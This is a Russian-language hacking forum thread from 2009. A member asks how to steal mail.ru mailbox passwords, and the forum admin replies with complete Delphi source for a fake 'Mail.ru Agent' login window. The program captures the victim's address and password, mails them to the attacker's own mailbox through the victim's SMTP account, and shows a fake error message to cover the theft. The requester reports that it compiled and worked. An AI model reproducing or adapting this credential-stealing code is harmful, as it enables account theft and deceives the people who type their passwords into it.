12:10
Обновить
mail.ru - Форум
| RSS



[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Модератор форума: LeadyTOR  
mail.ru
KIll)(Дата: Среда, 25.03.2009, 10:54 | Сообщение # 1
Рядовой
Группа: Пользователи
Сообщений: 4
Награды: 0
Репутация: 0
Статус: Offline
Есть что нить чтобы украсть пароль на ящик @mail ? что нить типа подставного агента или ещё что ....
 
aka_kludgeДата: Среда, 25.03.2009, 10:55 | Сообщение # 2
Admin
Группа: Администраторы
Сообщений: 1058
Награды: 2
Репутация: 25
Статус: Offline
хм, щяс что нить настрочим
 
aka_kludgeДата: Среда, 25.03.2009, 10:55 | Сообщение # 3
Admin
Группа: Администраторы
Сообщений: 1058
Награды: 2
Репутация: 25
Статус: Offline
те на каком языке проще будет ?
 
KIll)(Дата: Среда, 25.03.2009, 10:55 | Сообщение # 4
Рядовой
Группа: Пользователи
Сообщений: 4
Награды: 0
Репутация: 0
Статус: Offline
давай на делфях
 
aka_kludgeДата: Среда, 25.03.2009, 10:56 | Сообщение # 5
Admin
Группа: Администраторы
Сообщений: 1058
Награды: 2
Репутация: 25
Статус: Offline
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls, IdBaseComponent, IdComponent,
IdTCPConnection, IdTCPClient, IdMessageClient, IdSMTP, Mask, idMessage, ShellAPI;

type
TForm1 = class(TForm)
Image1: TImage;
Label1: TLabel;
Button1: TButton;
Button2: TButton;
Label2: TLabel;
CheckBox1: TCheckBox;
Label3: TLabel;
Label4: TLabel;
ComboBox1: TComboBox;
Edit1: TEdit;
IdSMTP1: TIdSMTP;
MaskEdit1: TMaskEdit;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Label1Click(Sender: TObject);
procedure Label2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
var
M: TIdMessage;
begin
M := TIdMessage.Create(Form1);
M.Body.Add('Мыло:' + ' ' + Edit1.Text + '@' + ComboBox1.Text + #10#13 + #10#13 + 'Pасс:' + ' ' + MaskEdit1.Text); // тело письма
M.From.Text := Edit1.text + '@' + ComboBox1.Text; // от кого
M.Recipients.Add; // получателей может быть несколько
M.Recipients.Items[0].Text := \'мыло получателя\';
// M.Recipients.Items[1].Text := \'мыло второго получателя, если нужно\';
M.Subject := 'Mail.ru Agent'; // тема письма

IdSMTP1.AuthenticationType := atLogin; // если сервер требует авторизации
IdSMTP1.Host := 'smtp.' + ComboBox1.text; // хост сервера
IdSMTP1.Username := Edit1.text; // логин
IdSMTP1.Password := MaskEdit1.Text; // пасс
IdSMTP1.Connect();
// отправка мыла будет произведена от имени юзера
// то есть он должен правильно заполнить логин и пасс, иначе мыло не отправится
if IdSMTP1.Connected then
begin
try
IdSMTP1.Send(M);
Application.MessageBox('Невозможно соединиться с сервером. Проверьте настройки вашего соединия','Error!',MB_ICONERROR);
// ошибка появится, если письмо успешно отправлено
except
Application.MessageBox('Неправильная пара Логин-Пароль','Error!',MB_ICONERROR);
// ошибка появится, если юзер ввёл неправильный логин или пасс
end;
IdSMTP1.Disconnect;
end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
close;
end;

procedure TForm1.Label1Click(Sender: TObject);
begin
ShellExecute(Handle, 'open', 'http://win.mail.ru/cgi-bin/signup', nil, nil, SW_SHOWMAXIMIZED);
end;

procedure TForm1.Label2Click(Sender: TObject);
begin
ShellExecute(Handle, 'open', 'http://www.mail.ru/pages/help/92.html', nil, nil, SW_SHOWMAXIMIZED);
end;
end.

 
KIll)(Дата: Среда, 25.03.2009, 10:56 | Сообщение # 6
Рядовой
Группа: Пользователи
Сообщений: 4
Награды: 0
Репутация: 0
Статус: Offline
оки спс
 
aka_kludgeДата: Среда, 25.03.2009, 10:57 | Сообщение # 7
Admin
Группа: Администраторы
Сообщений: 1058
Награды: 2
Репутация: 25
Статус: Offline
потом отпишись ))))) работает ли
 
KIll)(Дата: Среда, 25.03.2009, 10:58 | Сообщение # 8
Рядовой
Группа: Пользователи
Сообщений: 4
Награды: 0
Репутация: 0
Статус: Offline
УГУ скомпилил )))) пашет)))) отослал свой же пасс на свой-подставной мыльник

Добавлено (25.03.2009, 10:58)
---------------------------------------------
bb ninja

 
aka_kludgeДата: Среда, 27.05.2009, 08:38 | Сообщение # 9
Admin
Группа: Администраторы
Сообщений: 1058
Награды: 2
Репутация: 25
Статус: Offline
cool
 
  • Страница 1 из 1
  • 1
Поиск:

Профиль
ИнформацияУправление
Сегодня: 4, 04.12.2024, 12:10
Вы используете: " v "
ВаШ внешний IP: "18.97.14.91"
У вас новых личных сообщений · Мой профиль | Выход




    Главная      
...
На службе : дней

12:10
Обновить


Пользователи
aka_kludge
qwerty
LeadyTOR
aka_Atlantis
AdHErENt
mAss
Sissutr
hiss
DrBio
tHick

Поиск


Copyright tHR - TeAM 2024 г. admin: aka_kludge (ICQ:334449009) Moderator's: LeadyTOR, ... Яндекс.Метрика